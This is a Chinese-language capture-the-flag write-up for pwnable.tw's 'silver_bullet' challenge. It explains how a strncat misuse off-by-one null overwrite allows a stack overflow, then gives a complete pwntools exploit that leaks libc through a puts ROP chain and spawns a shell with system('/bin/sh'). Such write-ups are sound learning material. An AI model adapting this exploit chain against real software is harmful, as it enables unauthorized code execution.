Off-by-NULL

功能描述

循环打印一个菜单,可以选择生成子弹、升级子弹、攻击BOSS(成功了才能return)、或者exit(0)
推测子弹结构如下:

1
2
3
4
typedef struct _Bullet {
char description[0x30];
unsigned int power;
}

生成子弹和升级子弹时,都会提示输入description,然后对输入的description使用strlen,加到power上。
在升级子弹时,description的大小限制为 0x30-power,读取到power_up的栈帧上。在更新power后将会用strncat()将新的description加到原来的description之后。

漏洞

本题漏洞是对于strncat的误用。
假设上述description已经有0x2f个字符,那么在power_up函数中,会限制只能读取一个字符。
然而在复制字符串时,strncat不仅会把description[0x2f]覆盖成该字符,还会把后面的description[0x30]修改成’\x00’。

也就是说,虽说strncat有一个大小限制n的参数,但这个n并不能保证参数中的dest字符串只有n个字符被修改,而是说参数中的src字符串至多有多长
在本题中,程序并没有考虑到这一点,因此可以把正好位于description[0x30]的power最低位覆盖为’\x00’。如此一来,在下一次power_up时,我们就可以从power这个变量开始,输入0x30个字符,达成栈溢出攻击。

利用

由于只能一次输入,因此我选择泄露libc的puts之后(打败boss来正常return),调用_start重开,在新的一轮中再实施攻击,拿到shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.arch='i386'
# context.log_level='debug'

filename="./silver_bullet"
io = process([filename], env={"LD_PRELOAD":"./libc_32.so.6"})
elf=ELF(filename)

libc_name="./libc_32.so.6"
libc=ELF(libc_name)

io = remote("chall.pwnable.tw", 10103)

def dbg():
g = gdb.attach(io)

def rop(payload):
io.send(b'1')
io.recv()
io.send(b'\xff'*47)
io.recv()

io.send(b'2')
io.recv()
io.send(b'\xff')
io.recv()

io.send(b'2')
io.recv()
io.send(b'\xff'*7 + payload) # 之所以这里是7而不是8,因为在strncat的时候power最低位已经有值了,所以只需要用3个字符填充power,4个字符填充saved rbp
io.recv()

io.send(b'3')

# leak libc
payload = b''
payload += pack(elf.plt['puts'])
payload += pack(elf.symbols['_start'])
payload += pack(elf.got['puts'])

rop(payload)
mes = io.recvrepeat(5)
pos = mes.find(b'You win !!\n') + len('You win !!\n')
libc_base = unpack(mes[pos:pos+4]) - libc.symbols['puts']

# system('/bin/sh')
payload = b''
payload += pack(libc_base + libc.symbols['system'])
payload += pack(libc_base + libc.symbols['system'])
payload += pack(libc_base + 0x00158e8b) # "/bin/sh"

rop(payload)
io.interactive()